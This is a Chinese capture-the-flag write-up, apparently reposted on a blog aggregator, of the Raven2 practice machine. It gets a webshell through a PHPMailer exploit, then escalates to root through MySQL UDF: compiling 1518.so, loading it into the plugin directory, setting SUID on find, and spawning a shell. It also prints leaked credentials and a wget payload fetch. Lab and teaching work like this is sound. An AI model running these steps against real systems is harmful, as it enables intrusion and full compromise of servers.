靶机 Raven2 / UDF 提权

news2025/7/17 12:40:15

Raven2

信息搜集

存活检测

image-20231013094025398

详细扫描

image-20231013094051995

后台扫描

dirsearch -u http://10.4.7.135 -x 403
# 过滤状态码为 403 的后台页面

image-20231013094145680

Webshell

漏洞发现

  • 访问扫描出的后台页面

    /vendor 页面

    image-20231013094216730

    发现网站使用了 PHPMailer

    PHPMailer是一个用于发送电子邮件的PHP库。它提供了一个简单而灵活的方式来发送邮件,支持SMTP、POP3和IMAP协议,并且支持附件、HTML内容、邮件认证等功能。PHPMailer可以与大多数主流的邮件服务器和邮件服务提供商一起使用,是PHP开发中常用的邮件发送工具之一

    image-20231013094237854

    查看 VERSION 文件发现版本为 5.2.16

    image-20231013094251094

漏洞利用

  • 搜索漏洞

    serachsploit phpmailer
    

    image-20231013094322788

    下载

    searchsploit -m 40974.py
    
  • 查看攻击脚本并修改

    image-20231013094353760

    • 修改目标 ip,添加存在漏洞的 php 页面,

    • 修改 kali ip

    • 更改后门程序存放位置

      保存后退出,这个存在漏洞的网页是在contact.php里,运行这个攻击文件会自动在网站根目录下面生成一个后门文件 icepeak.php

  • 运行脚本

    python 40974.py
    

    image-20231013094414682

    成功生成文件

  • kali 开启 nc 监听

    image-20231013094432357

  • 访问脚本在网站生成的 Webshell 文件

    http://10.4.7.135/backdoor.php

  • 成功获取 Webshell

    image-20231013094503147

提权

提权准备

  • 在 /var/www/html/wordpress 目录下的 wp 配置文件 wp-config 文件中发现了数据库的账号密码

    账号 root

    密码 R@v3nSecurity

    image-20231013191445249

  • 尝试登录数据库

    mysql -uroot -pR@v3nSecurity
    
  • 查看数据库中内容,发现两个用户

    image-20231013191800816

    image-20231013192031849

    michael P P PBjRvZQ.VQcGZlDeiKToCQd.cPw5XCe0

    steven LOLLOL1

  • 可以使用 steven 登录后台

    image-20231013192411139

    没用

  • 利用工具 LinEnum(Linux枚举及权限提升检查工具)
    链接:https://pan.baidu.com/s/1AT3PKicE05u6PsykiwCt-g?pwd=s8dt
    提取码:s8dt
    image-20231013194214689

    image-20231014092640146

    可以看到 MySQL 服务是 root 身份运行的

UDF 提权

UDF 提权利用前提条件
  1. mysql 配置文件 secure_file_priv 项设置为空,(如果为 NULL 或 /tmp/ 等指定目录,即无法自定义 udf 文件导出位置,则无法利用)。

    show variables like '%secure%'; 查看可导出文件位置

  2. CREATE 权限、FILE 权限(root 用户默认拥有所有权限)。

  3. Linux系统需要 plugin 目录的写入权限。

  4. Linux环境下的 UDF 提权大概率仅限于靶场环境中,原因:在 Linux 严格的系统权限下,mysql 用户或 web 用户无 plugin 目录的写入权限。

UDF 提权原理

在 MySQL 数据库中,UDF 函数的实现通常需要创建一个动态链接库文件(也称为插件文件或plugin文件)。动态链接库是一种可执行文件,可以在程序运行时动态地加载到内存中,与程序进行链接,提供额外的功能。

UDF 函数通常需要使用 C 或 C++ 等编程语言编写,并将其编译成动态链接库文件。在MySQL 中,UDF 函数的动态链接库文件通常使用 .so 或 .dll 扩展名。这个文件包含了 UDF 函数的代码和相关的库文件,可以在 MySQL 中进行加载和使用。

提权过程
  1. 在Windows中Mysql一般以System权限执行。故UDF提权漏洞出现原因,主要是因为root用户密码泄露,弱密码等,或者是普通用户有对plugin等文件夹有写权限。
  2. Linux环境下Mysql的主程序mysqld一般以独立账号mysql运行,而守护程序mysqld_safe才是以root权限。所以说Linux下UDF提权出现的机会比较少,只有当mysqld进程是root执行的时候才会出现udf提权。
  3. MySQL >= 5.1 的版本,必须把 UDF 的动态链接库文件放置于 MySQL 安装目录下的 lib\plugin 文件夹下文件夹下才能创建自定义函数。一般sqlmap 和 Metasploit 里面都自带了对应系统的动态链接库文件。不过sqlmap 中自带这些动态链接库为了防止被误杀都经过编码处理过,不能被直接使用。但是可以利用 sqlmap 自带的解码工具 cloak.py 来解码使用。
  • 查看当前数据库用户的权限

    select * from mysql.user where user = substring_index(user(), '@', 1)\G;
    

    image-20231014093537160

实现

  • 找到 plugin 文件位置

     find / -name plugin
    

    image-20231014103131911

  • searchsploit 搜索 mysql udf 漏洞脚本并下载

    searchsploit mysql udf
    searchsploit -m 1518.c  
    

    image-20231014100001531

  • 查看漏洞脚本使用方法

    image-20231014100342457

     * Usage:
     * $ id
     * uid=500(raptor) gid=500(raptor) groups=500(raptor)
     * $ gcc -g -c 1518.c
     # -g选项用于在编译过程中生成调试信息,以便在程序出错时进行调试。
     # -c选项用于将源代码编译成目标文件,而不进行链接操作。编译后的目标文件一般以.o或.obj为扩展名。
     * $ gcc -g -shared -Wl,-soname,1518.so -o 1518.so 1518.o -lc
     # 将1518.o目标文件与C标准库进行链接,并生成一个名为1518.so的动态链接库文件。
     * $ mysql -uroot -pR@v3nSecurity
     * [...]
     * python -c 'import pty;pty.spawn("/bin/bash")'
     * mysql> use mysql;
     * mysql> create table foo(line blob);
     # 在当前数据库中创建一个名为zwt的表,该表只有一个列名为line,数据类型为blob(二进制大对象)。
     * mysql> insert into foo values(load_file('/tmp/1518.so'));
     # 向zwt表中插入一条记录,该记录的值是通过load_file函数加载/tmp/1518.so文件的内容。load_file函数用于读取文件内容并返回其二进制数据。
     * mysql> select * from foo into dumpfile '/usr/lib/mysql/plugin/1518.so';
     # 将读取的 /tmp 下下载的 1518.so 文件输出保存到 /usr/lib/mysql/plugin 动态链接库目录下
     * mysql> create function do_system returns integer soname '1518.so';
     # 创建一个名为do_system的MySQL函数,该函数使用名为1518.so的动态链接库作为实现
     * mysql> select * from mysql.func;
     # 查看已经创建的函数的详细信息
     * +-----------+-----+----------------+----------+
     * | name      | ret | dl             | type     |
     * +-----------+-----+----------------+----------+
     * | do_system |   2 | 1518.so | function |
     * +-----------+-----+----------------+----------+
     * mysql> select do_system('chmod u+s /usr/bin/find');
     * find ./ aaa -exec '/bin/sh' \;
     * sh-2.05b$ cat /tmp/out
     * uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm)
     * [...]
     *
     * E-DB Note: Keep an eye on https://github.com/mysqludf/lib_mysqludf_sys
    
  • kali 编译

    image-20231014105228583

  • 靶机回显

    python -c 'import pty;pty.spawn("/bin/bash")'
    
  • 靶机下载 1518.so

    cd /tmp
    wget http://10.4.7.132/1518.so
    

    image-20231014105247753

  • 动态链接库

    mysql -uroot -pR@v3nSecurity
    use mysql;
    create table foo(line blob);
    insert into foo values(load_file('/tmp/1518.so'));
    select * from foo into dumpfile '/usr/lib/mysql/plugin/1518.so';
    create function do_system returns integer soname '1518.so';
    select * from mysql.func;
    

    image-20231014110231192

  • 执行系统命令赋予 suid 权限

    select do_system('chmod u+s /usr/bin/find');
    

    image-20231014112948415

  • find 提权

    find / abc -exec '/bin/sh' \;
    # \;:表示命令的结束符号。它告诉find命令在每个匹配到的文件或目录后执行一次命令。
    

    image-20231014113222892

    成功获取 root 权限

总结

  • 动态链接库 udf 提权
  • find 提权
  • suid

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1103882.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

PFL-MoE:基于混合专家的个性联邦学习

文章链接:PFL-MoE: Personalized Federated Learning Based on Mixture of Experts 发表会议:APWeb-WAIM 2021(CCF-C) 目录 1.背景介绍联邦学习non-IIDPFL 2.内容摘要关键技术A.PFL-MoEB.PFL-MFC.PFL-MFE 实验结果 3.文章总结 1.…

QT 绘制文字轮廓

最近在做文字绘制&#xff0c;需要用到绘制文字轮廓&#xff0c;发现QT里面有自己的解决方案&#xff0c;分享出来&#xff1b; 具体贴代码 #include "mainwindow.h" #include "ui_mainwindow.h" #include <QPainter>MainWindow::MainWindow(QWidg…

Qt (QInputDialog 、QMessageBox、QMessageBox)对话框实战

目录 一、QInputDialog 类(输入对话框) 二、QMessageBox 类(消息框) 三、QMessageBox 类(自定义消息框) 一、QInputDialog 类(输入对话框) QInputDialog 是一个提供输入对话框的 Qt 类。它允许用户输入文本&#xff0c;并提供给用户选择可用选项的选项列表。QInputDialog 可…

Elasticsearch使用——结合MybatisPlus使用ES es和MySQL数据一致性 结合RabbitMQ实现解耦

前言 本篇博客是一篇elasticsearch的使用案例&#xff0c;包括结合MybatisPlus使用ES&#xff0c;如何保证MySQL和es的数据一致性&#xff0c;另外使用了RabbitMQ进行解耦&#xff0c;自定义了发消息的方法。 其他相关的Elasticsearch的文章列表如下&#xff1a; Elasticsear…

ES6 Symbol 数据结构

1. Symbol概念以及引入原因 ES6 引入了的一种新的原始数据类型Symbol&#xff0c;表示独一无二的值。它是 JavaScript 语言的第七种数据类型&#xff0c;前六种是&#xff1a;undefined、null、布尔值&#xff08;Boolean&#xff09;、字符串&#xff08;String&#xff09;、…

政务OA协同办公系统:数字化工具助力政府服务升级

在当今数字化时代&#xff0c;政务OA协同办公系统已经成为政府服务升级的重要工具。通过引入数字化技术&#xff0c;政务OA协同办公系统可以实现高效的信息传递、流程优化以及资源整合&#xff0c;进一步提升政府服务的质量和效率。本文将探讨政务OA协同办公系统的优势及其在数…

【UE5 Cesium】19-Cesium for Unreal 建立飞行跟踪器(4)

遗留问题 在上一篇博客中&#xff08;【UE5 Cesium】18-Cesium for Unreal 建立飞行跟踪器&#xff08;3&#xff09;&#xff09;&#xff0c;我们实现了飞机变速飞行的功能&#xff0c;但是还存在两个问题&#xff0c;分别是&#xff1a; &#xff08;1&#xff09;由于UE的…

三维地图开发三维地图服务器

三维地图开发三维地图服务器 发布时间&#xff1a;2020-03-03 版权&#xff1a; 搭建离线地图服务主要是两个步骤&#xff1a;一是&#xff1a;下载离线地图服务需要的地图数据&#xff1b;二是&#xff1a;将下载的离线地图数据发布成地图服务&#xff1b;只有做好这两步&…

【java零基础入门到就业】第二天:jdk的下载安装和第一个HelloWorld程序

1、java内容概述 java前半部分学习内容主要如下&#xff1a; 1、Java基础语法2、面向对象3、API4、字符串5、集合6、拼图游戏 1.1、 java基础语法 java基础语法主要包括以下内容&#xff1a; Java入门小概念Idea和运算符判断和循环方法数组课后练习题 Java是什么&#xf…

Qt基础 QPieSeries饼状图

目录 1.简单例子 2. 稍微复杂点 QPieSeries Class&#xff1a;饼状图数据 QChart 管理图表系列、图例和轴的图形表示 QChartView 可以显示图表的独立小部件 QPieSeries 在饼图中显示数据 QPieSlice 表示饼图系列中的单个切片&#xff08;其实就是标签&#xff09; 1…

鸿蒙应用开发之HTTP数据请求

一、概述 日常生活中我们使用应用程序看新闻、发送消息等&#xff0c;都需要连接到互联网&#xff0c;从服务端获取数据。例如&#xff0c;新闻应用可以从新闻服务器中获取最新的热点新闻&#xff0c;从而给用户打造更加丰富、更加实用的体验。 那么要实现这样一种能实时从服务…

Python突破浏览器TLS/JA3 指纹

JA3 是一种创建 SSL/TLS 客户端指纹的方法&#xff0c;一般一个网站的证书是不变的&#xff0c;所以浏览器指纹也是稳定的&#xff0c;能区分不同的客户端。 requests库 Python requests库请求一个带JA3指纹网站的结果&#xff1a; import requestsheaders {authority: tls…

P2251 质量检测

题目&#xff1a; P2251 质量检测 - 洛谷 | 计算机科学教育新生态 (luogu.com.cn) 代码&#xff1a; #include<iostream> #include<cstdio> #include<deque> #include<vector> typedef long long ll; const ll N 1e7; using namespace std;int main…

nocos配置中心使用教程(NACOS 1.X版本)

1.下载和安装 进入到官网下载就好了 解压 启动 2.新建cloudalibaba-config-nacos-client3377 2.1 pom.xml <?xml version"1.0" encoding"UTF-8"?> <project xmlns"http://maven.apache.org/POM/4.0.0"xmlns:xsi"http://w…

【LeetCode刷题(数据结构与算法)】:链表中的两数相加

给你两个非空的链表&#xff0c;表示两个非负的整数 它们每位数字都是按照 逆序 的方式存储的&#xff0c;并且每个节点只能存储一位数字 请你将两个数相加&#xff0c;并以相同形式返回一个表示和的链表 你可以假设除了数字 0 之外&#xff0c;这两个数都不会以 0 开头 示例1&…

数据库如何储存和管理数据的?

文章目录 磁盘IO数据的存储特别的 前言:众所周知,数据库就是一个将各类数据,以表格的形式存储的,但是看似如此简单的功能它是真的简单吗?我们和直接使用简单的Excel建立的表格有区别吗?如果有在哪里? PS&#xff1a;本文以常用的MySQL为例 磁盘IO 在不考虑缓存等机制&#…

【Tent-SSA-BP】基于Tent混沌映射改进的麻雀算法优化BP神经网络回归预测研究(Matlab代码实现)

&#x1f4a5;&#x1f4a5;&#x1f49e;&#x1f49e;欢迎来到本博客❤️❤️&#x1f4a5;&#x1f4a5; &#x1f3c6;博主优势&#xff1a;&#x1f31e;&#x1f31e;&#x1f31e;博客内容尽量做到思维缜密&#xff0c;逻辑清晰&#xff0c;为了方便读者。 ⛳️座右铭&a…

站内全文搜索,怎样能更好找到自己想要的信息?

对于博客或者文档&#xff0c;站内全文搜索是非常重要的功能。现在有许多网站生成器工具可供选择&#xff0c;无论是静态的、带有完整后台的&#xff0c;还是基于低代码或无代码的。但是如今网站往往拥有大量的内容和信息。为了能够快速有效找到所需的信息&#xff0c;无论是通…

黑马JVM总结(三十七)

&#xff08;1&#xff09;synchronized-轻量级锁-无竞争 &#xff08;2&#xff09;synchronized-轻量级锁-锁膨胀 重量级锁就是我们前面介绍过的Monitor enter &#xff08;3&#xff09;synchronized-重量级锁-自旋 &#xff08;4&#xff09;synchronized-偏向锁 轻量级锁…

基于ssm+vue的线上点餐系统

末尾获取源码 开发语言&#xff1a;Java Java开发工具&#xff1a;JDK1.8 后端框架&#xff1a;SSM 前端&#xff1a;Vue 数据库&#xff1a;MySQL5.7和Navicat管理工具结合 服务器&#xff1a;Tomcat8.5 开发软件&#xff1a;IDEA / Eclipse 是否Maven项目&#xff1a;是 目录…